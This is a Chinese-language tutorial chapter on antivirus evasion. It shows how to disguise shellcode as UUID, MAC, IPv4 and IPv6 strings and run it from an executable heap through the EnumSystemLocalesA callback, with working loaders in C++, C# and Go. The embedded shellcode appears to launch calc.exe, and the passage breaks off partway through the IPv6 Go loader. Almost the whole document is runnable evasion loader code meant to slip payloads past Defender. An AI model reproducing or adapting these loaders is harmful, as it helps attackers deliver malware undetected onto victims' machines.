6-转换

一、前言

关于shellcode如何转UUID、MAC、IPV4、IPV6,我就不多说了,避免重复造轮子。shellcode形式的转换已经被杀的不要不要的,需要配合 混淆加密分离 这两小节才能达到一个不错的静态免杀的效果。但是对于Defender而言,这类shellcode转换和加载被严格地限制,只要你敢用它就敢杀,即使你过了Defender的静态查杀,还是会被它的动态查杀给杀掉,所以这一节只是给读者提供另类的shellcode的转换和加载器的实现思路而已。

shellcode的执行分为三个步骤

  1. 为shellcode分配内存

  2. 将shellcode移动到已分配的内存区域

  3. 执行shellcode

就这三个步骤就延伸出各种各样的玩法,我将在下文介绍区别于之前提到shellcode加载器。

参考文章

1、 CS shellcode内存加载器免杀及实现-安全KER - 安全资讯平台

2、免杀对抗—内存加载&UUID标识&IPV4地址&MAC地址_uuid mac ipv4-CSDN博客

3、【免杀2】过静态shellcode编码(降熵) | CN-SEC 中文网

4、奇安信攻防社区-CS免杀-MAC加载器

转换工具GitHub - Haunted-Banshee/Shellcode-Hastur: Shellcode Reductio Entropy Tools

将shellcode输出*.bin文件(如果有必要的话)

#include <stdio.h>
#include <stdlib.h>

// shellcode
unsigned char shellcode[] = {
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // NOP 指令
    // 其他 shellcode 字节...
};

int main() {
    // 指定输出文件名
    const char* filename = "output.bin";

    // 打开文件以进行写入(二进制模式)
    FILE *file = fopen(filename, "wb");
    if (file == NULL) {
        perror("Failed to open file");
        return EXIT_FAILURE;
    }

    // 获取 shellcode 的大小
    size_t shellcode_size = sizeof(shellcode);

    // 将 shellcode 写入文件
    size_t written = fwrite(shellcode, sizeof(unsigned char), shellcode_size, file);
    if (written != shellcode_size) {
        perror("Failed to write to file");
        fclose(file);
        return EXIT_FAILURE;
    }

    // 关闭文件
    fclose(file);
    printf("Shellcode written to %s successfully.\n", filename);

    return EXIT_SUCCESS;
}

Shellcode-Hastur 工具使用说明,就以生成UUID形式的shellcode为例子:

.\Shellcode-Hastur.exe -file .\shellcode32.bin -uuid

生成的是字符串格式的uuid的形式。

二、UUID

UUID(Universally Unique Identifier,通用唯一识别码)是一种标准的标识符格式,用于在计算机系统中唯一标识信息。UUID 的长度通常为 128 位(16 字节),通常以 32 个十六进制数字表示

一说到UUID就会让人联想到 GUIDGUID(全局唯一标识符,Globally Unique Identifier)是一种用于在计算机系统中唯一标识对象的标识符。GUID 通常用于数据库、COM(组件对象模型)、文件系统等场合,确保每个对象都有一个唯一的标识符。GUID常用于系统提权,废话少说回归正题。

有几个重要的WindowsAPI需要关注

  1. HeapCreate:创建可由调用进程使用的专用堆对象。 函数在进程的虚拟地址空间中保留空间,并为此块的指定初始部分分配物理存储。官方文档:HeapCreate 函数 (heapapi.h) - Win32 apps | Microsoft Learn

  2. HeapAlloc:从堆中分配内存块。官方文档:heapAlloc 函数 (heapapi.h) - Win32 apps | Microsoft Learn

  3. UuidFromStringA:它能够将字符串形式的uuid转换成二进制。详细语法和功能,参考官方文档:UuidFromStringA 函数 (rpcdce.h) - Win32 apps | Microsoft Learn

  4. EnumSystemLocalesA,可以回调一个指定的函数指针。关于回调函数执行shellcode,我将在 基于回调函数执行shellcode 详细讲解。语法和功能,参考官方文档:EnumSystemLocalesA 函数 (winnls.h) - Win32 apps | Microsoft Learn

2.1 C++

#include <Windows.h>
#include <Rpc.h>
#include <iostream>

int main()
{
	const char* UUidCode[] =
	{
		"0082e8fc-0000-8960-e531-c0648b50308b",
		"528b0c52-8b14-2872-0fb7-4a2631ffac3c",
		"2c027c61-c120-0dcf-01c7-e2f252578b52",
		"3c4a8b10-4c8b-7811-e348-01d1518b5920",
		"498bd301-e318-493a-8b34-8b01d631ffac",
		"010dcfc1-38c7-75e0-f603-7df83b7d2475",
		"588b58e4-0124-66d3-8b0c-4b8b581c01d3",
		"018b048b-89d0-2444-245b-5b61595a51ff",
		"5a5f5fe0-128b-8deb-5d6a-018d85b20000",
		"31685000-6f8b-ff87-d5bb-f0b5a25668a6",
		"ff9dbd95-3cd5-7c06-0a80-fbe07505bb47",
		"6a6f7213-5300-d5ff-6361-6c632e657865",
		"90909000-9090-9090-9090-909090909090"
	};

	// 创建堆一个初始大小为0的堆,并标记为可执行
	HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);

	// 为堆申请空间
	void* ha = HeapAlloc(hc, 0, sizeof(UUidCode) * 16);
	DWORD_PTR hptr = (DWORD_PTR)ha;
	int elems = sizeof(UUidCode) / sizeof(UUidCode[0]);

	// uuid转换成string
	for (int i = 0; i < elems; i++) {
		RPC_STATUS status = UuidFromStringA((RPC_CSTR)UUidCode[i], (UUID*)hptr);
		if (status != RPC_S_OK) {
			CloseHandle(ha);
			return -1;
		}
		hptr += 16;
	}

	// 利用回调函数执行shellcode
	EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
	CloseHandle(ha);
	return 0;
}

sizeof(UUidCode) 用于获取数组 UUidCode 的总字节大小。由于 UUidCode 是一个指向字符串的指针数组,每个元素都是一个 const char* 类型的指针,因此 sizeof(UUidCode) 返回的是指针数组的大小,而不是所有字符串的总大小。每一个字符串是16个字节的大小,所以所有字符串的总大小为sizeof(UUidCode)*16

2.2 CSharp

using System;
using System.Data;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("rpcrt4.dll", SetLastError = true)]
    static extern int UuidFromStringA([In] string StringUuid,out Guid Uuid);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr HeapCreate(uint flOptions, uint dwInitialSize, uint dwMaximumSize);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, uint dwFlags);

    const uint HEAP_CREATE_ENABLE_EXECUTE = 0x00040000;

    static void Main(string[] args)
    {
        string[] uuidCodes = new string[]
        {
        "0082e8fc-0000-8960-e531-c0648b50308b",
        "528b0c52-8b14-2872-0fb7-4a2631ffac3c",
        "2c027c61-c120-0dcf-01c7-e2f252578b52",
        "3c4a8b10-4c8b-7811-e348-01d1518b5920",
        "498bd301-e318-493a-8b34-8b01d631ffac",
        "010dcfc1-38c7-75e0-f603-7df83b7d2475",
        "588b58e4-0124-66d3-8b0c-4b8b581c01d3",
        "018b048b-89d0-2444-245b-5b61595a51ff",
        "5a5f5fe0-128b-8deb-5d6a-018d85b20000",
        "31685000-6f8b-ff87-d5bb-f0b5a25668a6",
        "ff9dbd95-3cd5-7c06-0a80-fbe07505bb47",
        "6a6f7213-5300-d5ff-6361-6c632e657865",
        "90909000-9090-9090-9090-909090909090"
        };

        // 创建堆一个初始大小为0的堆,并标记为可执行
        IntPtr hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0 ,0);

        // 为堆申请空间
        IntPtr shellcodePtr = HeapAlloc(hHeap, 0, (uint)(uuidCodes.Length * 16));

        // 转换UUID
        IntPtr currentPtr = shellcodePtr;
        foreach (string uuid in uuidCodes)
        {
            Guid guidResult;
            UuidFromStringA(uuid, out guidResult);

            // 复制到堆内存
            byte[] guidBytes = guidResult.ToByteArray();
            Marshal.Copy(guidBytes, 0, currentPtr, guidBytes.Length);

            currentPtr = IntPtr.Add(currentPtr, 16);
        }

        // 回调执行shellcode
        EnumSystemLocalesA(shellcodePtr, 0);
    }
}

2.3 Go

package main  
  
import (  
    "syscall"  
    "unsafe")  
  
var (  
    kernel32 = syscall.NewLazyDLL("kernel32.dll")  
    rpcrt4   = syscall.NewLazyDLL("rpcrt4.dll")  
  
    heapCreate         = kernel32.NewProc("HeapCreate")  
    heapAlloc          = kernel32.NewProc("HeapAlloc")  
    closeHandle        = kernel32.NewProc("CloseHandle")  
    uuidFromStringA    = rpcrt4.NewProc("UuidFromStringA")  
    enumSystemLocalesA = kernel32.NewProc("EnumSystemLocalesA")  
  
    HEAP_CREATE_ENABLE_EXECUTE = 0x00040000  
    HEAP_FREE                  = 0x00000008  
)  
  
var uuidCode = []string{  
    "53525150-5756-6a55-605a-6863616c6354",  
    "ec834859-6528-8b48-3248-8b7618488b76",  
    "48ad4810-308b-8b48-7e30-03573c8b5c17",  
    "1f748b28-4820-fe01-8b54-1f240fb72c17",  
    "ad02528d-3c81-5707-696e-4575ef8b741f",  
    "fe01481c-348b-48ae-01f7-99ffd74883c4",  
    "5e5f5d30-5a5b-5859-c390-909090909090",  
}  
  
func main() {  
  
    // 创建一个可执行的堆  
    heapHandle, _, _ := heapCreate.Call(uintptr(HEAP_CREATE_ENABLE_EXECUTE), 0, 0)  
    defer closeHandle.Call(heapHandle)  
  
    // 分配内存  
    memorySize := uintptr(len(uuidCode) * 16)  
    memory, _, _ := heapAlloc.Call(heapHandle, 0, memorySize)  
    defer heapAlloc.Call(heapHandle, uintptr(HEAP_FREE), memory)  
  
    // UUID转换,并写入相应的内存区域  
    ptr := memory  
    for _, uuidStr := range uuidCode {  
       uuidBytes := []byte(uuidStr)  
       uuidFromStringA.Call(uintptr(unsafe.Pointer(&uuidBytes[0])), ptr)  
  
       ptr += 16  
    }  
  
    // 回调函数执行shellcode  
    enumSystemLocalesA.Call(memory, 0)  
}
  1. RPC_CSTR的定义 typedef unsigned char* RPC_CSTR,所以在Go中我们要将 uuidStrstring 类型转换成 []byte 类型。UuidFromStringA.Call的第一个参数是 uintptr(unsafe.Pointer(&uuidbytes[0])), 用 & 来取字节数组的首地址,再将首地址转换成uintptr类型。它背后的数据转换逻辑我在 2-WindowsAPI 已经讲过。

三、MAC

MAC 地址(媒体访问控制地址,Media Access Control Address),也称物理地址,是一种用于在网络中唯一标识设备的地址。MAC 地址通常以 48 位(6 字节)表示。

一个重要的WidnowsAPI

  1. RtlEthernetStringToAddressA:将以太网 MAC 地址的字符串表示形式转换为以太网地址的二进制格式。官方文档:RtlEthernetStringToAddressA 函数 (ip2string.h) - Win32 apps | Microsoft Learn

3.1 C++

#include <iostream>
#include <windows.h>
typedef LONG NTSTATUS;
#include <ip2string.h>
#pragma comment(lib, "Ntdll.lib")

const char* MACCode[] =
{
    "50-51-52-53-56-57",
    "55-6A-60-5A-68-63",
    "61-6C-63-54-59-48",
    "83-EC-28-65-48-8B",
    "32-48-8B-76-18-48",
    "8B-76-10-48-AD-48",
    "8B-30-48-8B-7E-30",
    "03-57-3C-8B-5C-17",
    "28-8B-74-1F-20-48",
    "01-FE-8B-54-1F-24",
    "0F-B7-2C-17-8D-52",
    "02-AD-81-3C-07-57",
    "69-6E-45-75-EF-8B",
    "74-1F-1C-48-01-FE",
    "8B-34-AE-48-01-F7",
    "99-FF-D7-48-83-C4",
    "30-5D-5F-5E-5B-5A",
    "59-58-C3-90-90-90"
};

int main()
{
    // 创建堆一个初始大小为0的堆,并标记为可执行
    HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);

    // 分配堆内存   
    void* ha = HeapAlloc(hc, 0, sizeof(MACCode)*6);
    DWORD_PTR hap = (DWORD_PTR)ha;
    int elems = sizeof(MACCode) / sizeof(MACCode[0]);

    PCSTR Terminator = "";

    // 调用 UuidFromStringA 转换 UUID
    for (int i = 0; i < elems; i++) {

        if (RtlEthernetStringToAddressA(MACCode[i], &Terminator, (DL_EUI48*)hap) == STATUS_INVALID_PARAMETER)
        {
            printf("ERROR!");
            return 0;
        }
        hap += 6;
    }
    // 回调执行shellcode
    EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
}

PS:

  1. 不知道为什么一定要加 typedef LONG NTSTATUS 而且一定要在 #include <ip2string.h> 的前面。我看参考文章没有加,我就调了一下午代码还是没成功,最后加了才成功,给我搞🤮了。

  2. 要编译成64位,32位与库冲突,会报大量错误。

3.2 CSharp

using System;
using System.Data;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("ntdll.dll", SetLastError = true)]
    static extern int RtlEthernetStringToAddressA(string S, ref IntPtr Terminator, IntPtr Addr);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr HeapCreate(uint flOptions, uint dwInitialSize, uint dwMaximumSize);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, uint dwFlags);

    const uint HEAP_CREATE_ENABLE_EXECUTE = 0x00040000;
    const int STATUS_INVALID_PARAMETER = unchecked((int)0xC000000D);

    static void Main(string[] args)
    {
        string[] MACCode = new string[]
        {
        "FC-E8-82-00-00-00",
        "60-89-E5-31-C0-64",
        "8B-50-30-8B-52-0C",
        "8B-52-14-8B-72-28",
        "0F-B7-4A-26-31-FF",
        "AC-3C-61-7C-02-2C",
        "20-C1-CF-0D-01-C7",
        "E2-F2-52-57-8B-52",
        "10-8B-4A-3C-8B-4C",
        "11-78-E3-48-01-D1",
        "51-8B-59-20-01-D3",
        "8B-49-18-E3-3A-49",
        "8B-34-8B-01-D6-31",
        "FF-AC-C1-CF-0D-01",
        "C7-38-E0-75-F6-03",
        "7D-F8-3B-7D-24-75",
        "E4-58-8B-58-24-01",
        "D3-66-8B-0C-4B-8B",
        "58-1C-01-D3-8B-04",
        "8B-01-D0-89-44-24",
        "24-5B-5B-61-59-5A",
        "51-FF-E0-5F-5F-5A",
        "8B-12-EB-8D-5D-6A",
        "01-8D-85-B2-00-00",
        "00-50-68-31-8B-6F",
        "87-FF-D5-BB-F0-B5",
        "A2-56-68-A6-95-BD",
        "9D-FF-D5-3C-06-7C",
        "0A-80-FB-E0-75-05",
        "BB-47-13-72-6F-6A",
        "00-53-FF-D5-63-61",
        "6C-63-2E-65-78-65",
        "00-90-90-90-90-90"
        };

        // 创建堆一个初始大小为0的堆,并标记为可执行
        IntPtr hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0 ,0);

        // 为堆申请空间
        IntPtr shellcodePtr = HeapAlloc(hHeap, 0, (uint)(MACCode.Length * 16));

        // 转换MAC地址字符串到内存
        IntPtr currentPtr = shellcodePtr;
        IntPtr terminatorPtr = IntPtr.Zero;

        try
        {
            // 转换MAC地址字符串到内存
            foreach (string mac in MACCode)
            {
                int result = RtlEthernetStringToAddressA(mac, ref terminatorPtr, currentPtr);
                if (result == STATUS_INVALID_PARAMETER)
                {
                    throw new Exception($"MAC地址转换失败: {mac}");
                }

                // 移动指针到下一个字符串的位置
                currentPtr = IntPtr.Add(currentPtr, 6);
            }

            // 回调执行shellcode
            EnumSystemLocalesA(shellcodePtr, 0);
        }
        catch (Exception e)
        {
            Console.WriteLine($"发生错误: {e.Message}");
        }

    }
}

3.3 Go

package main  
  
import (  
    "syscall"  
    "unsafe")  
  
var (  
    kernel32 = syscall.NewLazyDLL("kernel32.dll")  
    ntdll    = syscall.NewLazyDLL("ntdll.dll")  
  
    heapCreate                 = kernel32.NewProc("HeapCreate")  
    heapAlloc                  = kernel32.NewProc("HeapAlloc")  
    closeHandle                = kernel32.NewProc("CloseHandle")  
    enumSystemLocalesA         = kernel32.NewProc("EnumSystemLocalesA")  
    rtlEthernetStringToAddress = ntdll.NewProc("RtlEthernetStringToAddressA")  
  
    HEAP_CREATE_ENABLE_EXECUTE = 0x00040000  
    HEAP_FREE                  = 0x00000008  
)  
  
var MACCode = []string{  
    "50-51-52-53-56-57",  
    "55-6A-60-5A-68-63",  
    "61-6C-63-54-59-48",  
    "83-EC-28-65-48-8B",  
    "32-48-8B-76-18-48",  
    "8B-76-10-48-AD-48",  
    "8B-30-48-8B-7E-30",  
    "03-57-3C-8B-5C-17",  
    "28-8B-74-1F-20-48",  
    "01-FE-8B-54-1F-24",  
    "0F-B7-2C-17-8D-52",  
    "02-AD-81-3C-07-57",  
    "69-6E-45-75-EF-8B",  
    "74-1F-1C-48-01-FE",  
    "8B-34-AE-48-01-F7",  
    "99-FF-D7-48-83-C4",  
    "30-5D-5F-5E-5B-5A",  
    "59-58-C3-90-90-90",  
}  
  
func main() {  
    // 创建可执行堆  
    heapHandle, _, _ := heapCreate.Call(  
       uintptr(HEAP_CREATE_ENABLE_EXECUTE),  
       0,  
       0)  
    defer closeHandle.Call(heapHandle)  
  
    // 分配堆内存  
    memorySize := uintptr(len(MACCode) * 6) // 每个MAC地址6字节  
    memory, _, _ := heapAlloc.Call(  
       heapHandle,  
       0,  
       memorySize,  
    )  
    defer heapAlloc.Call(heapHandle, uintptr(HEAP_FREE), memory)  
  
    // 转换MAC地址到内存  
    hap := memory  
    for _, macStr := range MACCode {  
       macBytes := []byte(macStr)  
       terminator := uintptr(0)  
  
       status, _, _ := rtlEthernetStringToAddress.Call(  
          uintptr(unsafe.Pointer(&macBytes[0])),  
          uintptr(unsafe.Pointer(&terminator)),  
          hap,  
       )  
  
       if status != 0 { // STATUS_SUCCESS  
          return  
       }  
  
       hap += 6  
    }  
  
    // 执行Shellcode  
    enumSystemLocalesA.Call(  
       memory, // 作为回调函数地址  
       0,      // 默认标志  
    )  
}

四、IPV4

IPv4是一种无连接的协议,IPv4使用32位(4字节)地址

一个重要WindowsAPI:

  1. RtlIpv4StringToAddressA:将 IPv4 地址的字符串表示形式转换为二进制 IPv4 地址。官方文档:RtlIpv4StringToAddressA 函数 (ip2string.h) - Win32 apps | Microsoft Learn

4.1 C++

#include <iostream>
#include <windows.h>
typedef LONG NTSTATUS;
#include <ip2string.h>

const char* IPv4Code[] = {
        "80.81.82.83",
        "86.87.85.106",
        "96.90.104.99",
        "97.108.99.84",
        "89.72.131.236",
        "40.101.72.139",
        "50.72.139.118",
        "24.72.139.118",
        "16.72.173.72",
        "139.48.72.139",
        "126.48.3.87",
        "60.139.92.23",
        "40.139.116.31",
        "32.72.1.254",
        "139.84.31.36",
        "15.183.44.23",
        "141.82.2.173",
        "129.60.7.87",
        "105.110.69.117",
        "239.139.116.31",
        "28.72.1.254",
        "139.52.174.72",
        "1.247.153.255",
        "215.72.131.196",
        "48.93.95.94",
        "91.90.89.88",
        "195.144.144.144"
};

int main()
{
    // 创建堆一个初始大小为0的堆,并标记为可执行
    HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);

    // 分配堆内存  
    void* ha = HeapAlloc(hc, 0, sizeof(IPv4Code)*4);
    DWORD_PTR hap = (DWORD_PTR)ha;
    int elems = sizeof(IPv4Code) / sizeof(IPv4Code[0]);

    //创建一个变量,接收转换后字符串的终止字符的指针
    PCSTR Terminator = "";

    //循环去将每一个ipv4地址以此存到指定地址
    for (int i = 0; i < elems; i++) {

        if (RtlIpv4StringToAddressA(IPv4Code[i], FALSE, &Terminator, (in_addr*)hap) == STATUS_INVALID_PARAMETER)
        {
            printf("ERROR!");
            return 0;
        }
        hap += 4;
    }

    // 回调执行shellcode
    EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
}

4.2 CSharp

using System;
using System.Data;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("ntdll.dll", SetLastError = true)]
    static extern int RtlIpv4StringToAddressA(string S, bool Strict, ref IntPtr Terminator, IntPtr Addr);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr HeapCreate(uint flOptions, uint dwInitialSize, uint dwMaximumSize);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, uint dwFlags);

    const uint HEAP_CREATE_ENABLE_EXECUTE = 0x00040000;
    const int STATUS_INVALID_PARAMETER = unchecked((int)0xC000000D);

    static void Main(string[] args)
    {
        string[] IPv4Code = new string[]
        {
        "252.232.130.0",
        "0.0.96.137",
        "229.49.192.100",
        "139.80.48.139",
        "82.12.139.82",
        "20.139.114.40",
        "15.183.74.38",
        "49.255.172.60",
        "97.124.2.44",
        "32.193.207.13",
        "1.199.226.242",
        "82.87.139.82",
        "16.139.74.60",
        "139.76.17.120",
        "227.72.1.209",
        "81.139.89.32",
        "1.211.139.73",
        "24.227.58.73",
        "139.52.139.1",
        "214.49.255.172",
        "193.207.13.1",
        "199.56.224.117",
        "246.3.125.248",
        "59.125.36.117",
        "228.88.139.88",
        "36.1.211.102",
        "139.12.75.139",
        "88.28.1.211",
        "139.4.139.1",
        "208.137.68.36",
        "36.91.91.97",
        "89.90.81.255",
        "224.95.95.90",
        "139.18.235.141",
        "93.106.1.141",
        "133.178.0.0",
        "0.80.104.49",
        "139.111.135.255",
        "213.187.240.181",
        "162.86.104.166",
        "149.189.157.255",
        "213.60.6.124",
        "10.128.251.224",
        "117.5.187.71",
        "19.114.111.106",
        "0.83.255.213",
        "99.97.108.99",
        "46.101.120.101",
        "0.144.144.144"
        };

        // 创建堆一个初始大小为0的堆,并标记为可执行
        IntPtr hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);

        // 为堆申请空间
        IntPtr shellcodePtr = HeapAlloc(hHeap, 0, (uint)(IPv4Code.Length * 4));

        // 转换IPv4地址字符串到内存
        IntPtr currentPtr = shellcodePtr;
        IntPtr terminatorPtr = IntPtr.Zero;

        try
        {
            // 转换IPv4地址字符串到内存
            foreach (string ipv4 in IPv4Code)
            {
                int result = RtlIpv4StringToAddressA(ipv4, false, ref terminatorPtr, currentPtr);
                if (result == STATUS_INVALID_PARAMETER)
                {
                    throw new Exception($"MAC地址转换失败: {ipv4}");
                }

                // 移动指针到下一个字符串的位置
                currentPtr = IntPtr.Add(currentPtr, 4);
            }

            // 回调执行shellcode
            EnumSystemLocalesA(shellcodePtr, 0);
        }
        catch (Exception e)
        {
            Console.WriteLine($"发生错误: {e.Message}");
        }

    }
}

4.3 Go

package main  
  
import (  
    "syscall"  
    "unsafe")  
  
var (  
    kernel32 = syscall.NewLazyDLL("kernel32.dll")  
    ntdll    = syscall.NewLazyDLL("ntdll.dll")  
  
    heapCreate              = kernel32.NewProc("HeapCreate")  
    heapAlloc               = kernel32.NewProc("HeapAlloc")  
    closeHandle             = kernel32.NewProc("CloseHandle")  
    enumSystemLocalesA      = kernel32.NewProc("EnumSystemLocalesA")  
    rtlIpv4StringToAddressA = ntdll.NewProc("RtlIpv4StringToAddressA")  
  
    HEAP_CREATE_ENABLE_EXECUTE = 0x00040000  
    HEAP_FREE                  = 0x00000008  
)  
  
var IPv4Code = []string{  
    "80.81.82.83",  
    "86.87.85.106",  
    "96.90.104.99",  
    "97.108.99.84",  
    "89.72.131.236",  
    "40.101.72.139",  
    "50.72.139.118",  
    "24.72.139.118",  
    "16.72.173.72",  
    "139.48.72.139",  
    "126.48.3.87",  
    "60.139.92.23",  
    "40.139.116.31",  
    "32.72.1.254",  
    "139.84.31.36",  
    "15.183.44.23",  
    "141.82.2.173",  
    "129.60.7.87",  
    "105.110.69.117",  
    "239.139.116.31",  
    "28.72.1.254",  
    "139.52.174.72",  
    "1.247.153.255",  
    "215.72.131.196",  
    "48.93.95.94",  
    "91.90.89.88",  
    "195.144.144.144",  
}  
  
func main() {  
    // 创建可执行堆  
    heapHandle, _, _ := heapCreate.Call(  
       uintptr(HEAP_CREATE_ENABLE_EXECUTE),  
       0,  
       0)  
    defer closeHandle.Call(heapHandle)  
  
    // 分配堆内存  
    memorySize := uintptr(len(IPv4Code) * 4) // 每个IPV4地址4字节  
    memory, _, _ := heapAlloc.Call(  
       heapHandle,  
       0,  
       memorySize,  
    )  
    defer heapAlloc.Call(heapHandle, uintptr(HEAP_FREE), memory)  
  
    // 转换ipv4地址到内存  
    hap := memory  
    for _, ipv4str := range IPv4Code {  
       ipv4Bytes := []byte(ipv4str)  
       terminator := uintptr(0)  
  
       status, _, _ := rtlIpv4StringToAddressA.Call(  
          uintptr(unsafe.Pointer(&ipv4Bytes[0])),  
          uintptr(0),  
          uintptr(unsafe.Pointer(&terminator)),  
          hap,  
       )  
  
       if status != 0 { // STATUS_SUCCESS  
          return  
       }  
  
       hap += 4  
    }  
  
    // 执行Shellcode  
    enumSystemLocalesA.Call(  
       memory, // 作为回调函数地址  
       0,      // 默认标志  
    )  
}

五、 IPV6

IPv6(Internet Protocol version 6)是互联网协议(IP)的第6版,是IPv4的后继者。IPv6使用128位地址表示

一个重要WindowsAPI

  1. RtlIpv6StringToAddressA:将 IPv6 地址的字符串表示形式转换为二进制 IPv6 地址

5.1 C++

#include <iostream>
#include <windows.h>
typedef LONG NTSTATUS;
#include <ip2string.h>

const char* IPv6Code[] = {
        "5051:5253:5657:556a:605a:6863:616c:6354",
        "5948:83ec:2865:488b:3248:8b76:1848:8b76",
        "1048:ad48:8b30:488b:7e30:357:3c8b:5c17",
        "288b:741f:2048:1fe:8b54:1f24:fb7:2c17",
        "8d52:2ad:813c:757:696e:4575:ef8b:741f",
        "1c48:1fe:8b34:ae48:1f7:99ff:d748:83c4",
        "305d:5f5e:5b5a:5958:c300::"
};

int main()
{
    // 创建堆一个初始大小为0的堆,并标记为可执行
    HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);

    // 分配堆内存  
    void* ha = HeapAlloc(hc, 0, sizeof(IPv6Code) * 16);
    DWORD_PTR hap = (DWORD_PTR)ha;
    int elems = sizeof(IPv6Code) / sizeof(IPv6Code[0]);

    //创建一个变量,接收转换后字符串的终止字符的指针
    PCSTR Terminator = "";

    //循环去将每一个ipv6地址以此存到指定地址
    for (int i = 0; i < elems; i++) {

        if (RtlIpv6StringToAddressA(IPv6Code[i], &Terminator, (in6_addr*)hap) == STATUS_INVALID_PARAMETER)
        {
            printf("ERROR!");
            return 0;
        }
        hap += 16;
    }

    // 回调执行shellcode
    EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
}

5.2 CSharp

using System;
using System.Data;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("ntdll.dll", SetLastError = true)]
    static extern int RtlIpv6StringToAddressA(string S, ref IntPtr Terminator, IntPtr Addr);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr HeapCreate(uint flOptions, uint dwInitialSize, uint dwMaximumSize);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, uint dwFlags);

    const uint HEAP_CREATE_ENABLE_EXECUTE = 0x00040000;
    const int STATUS_INVALID_PARAMETER = unchecked((int)0xC000000D);

    static void Main(string[] args)
    {
        string[] IPv6Code = new string[]
        {
        "fce8:8200:0:6089:e531:c064:8b50:308b",
        "520c:8b52:148b:7228:fb7:4a26:31ff:ac3c",
        "617c:22c:20c1:cf0d:1c7:e2f2:5257:8b52",
        "108b:4a3c:8b4c:1178:e348:1d1:518b:5920",
        "1d3:8b49:18e3:3a49:8b34:8b01:d631:ffac",
        "c1cf:d01:c738:e075:f603:7df8:3b7d:2475",
        "e458:8b58:2401:d366:8b0c:4b8b:581c:1d3",
        "8b04:8b01:d089:4424:245b:5b61:595a:51ff",
        "e05f:5f5a:8b12:eb8d:5d6a:18d:85b2:0",
        "50:6831:8b6f:87ff:d5bb:f0b5:a256:68a6",
        "95bd:9dff:d53c:67c:a80:fbe0:7505:bb47",
        "1372:6f6a:53:ffd5:6361:6c63:2e65:7865",
        "::"
        };

        // 创建堆一个初始大小为0的堆,并标记为可执行
        IntPtr hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);

        // 为堆申请空间
        IntPtr shellcodePtr = HeapAlloc(hHeap, 0, (uint)(IPv6Code.Length * 16));

        // 转换IPv4地址字符串到内存
        IntPtr currentPtr = shellcodePtr;
        IntPtr terminatorPtr = IntPtr.Zero;

        try
        {
            // 转换IPv6地址字符串到内存
            foreach (string IPv6 in IPv6Code)
            {
                int result = RtlIpv6StringToAddressA(IPv6, ref terminatorPtr, currentPtr);
                if (result == STATUS_INVALID_PARAMETER)
                {
                    throw new Exception($"MAC地址转换失败: {IPv6}");
                }

                // 移动指针到下一个字符串的位置
                currentPtr = IntPtr.Add(currentPtr, 16);
            }

            // 回调执行shellcode
            EnumSystemLocalesA(shellcodePtr, 0);
        }
        catch (Exception e)
        {
            Console.WriteLine($"发生错误: {e.Message}");
        }

    }
}

5.3 Go

package main  
  
import (  
    "syscall"  
    "unsafe")  
  
var (  
    kernel32 = syscall.NewLazyDLL("kernel32.dll")  
    ntdll    = syscall.NewLazyDLL("ntdll.dll")  
  
    heapCreate              = kernel32.NewProc("HeapCreate")  
    heapAlloc               = kernel32.NewProc("HeapAlloc")  
    closeHandle             = kernel32.NewProc("CloseHandle")  
    enumSystemLocalesA      = kernel32.NewProc("EnumSystemLocalesA")  
    rtlIpv6StringToAddressA = ntdll.NewProc("RtlIpv6StringToAddressA")  
  
    HEAP_CREATE_ENABLE_EXECUTE = 0x00040000  
    HEAP_FREE                  = 0x00000008  
)  
  
var IPv6Code = []string{  
    "5051:5253:5657:556a:605a:6863:616c:6354",  
    "5948:83ec:2865:488b:3248:8b76:1848:8b76",  
    "1048:ad48:8b30:488b:7e30:357:3c8b:5c17",  
    "288b:741f:2048:1fe:8b54:1f24:fb7:2c17",  
    "8d52:2ad:813c:757:696e:4575:ef8b:741f",  
    "1c48:1fe:8b34:ae48:1f7:99ff:d748:83c4",  
    "305d:5f5e:5b5a:5958:c300::",  
}  
  
func main() {  
    // 创建可执行堆  
    heapHandle, _, _ := heapCreate.Call(  
       uintptr(HEAP_CREATE_ENABLE_EXECUTE),  
       0,  
       0)  
    defer closeHandle.Call(heapHandle)  
  
    // 分配堆内存  
    memorySize := uintptr(len(IPv6Code) * 16) // 每个IPV6地址16字节  
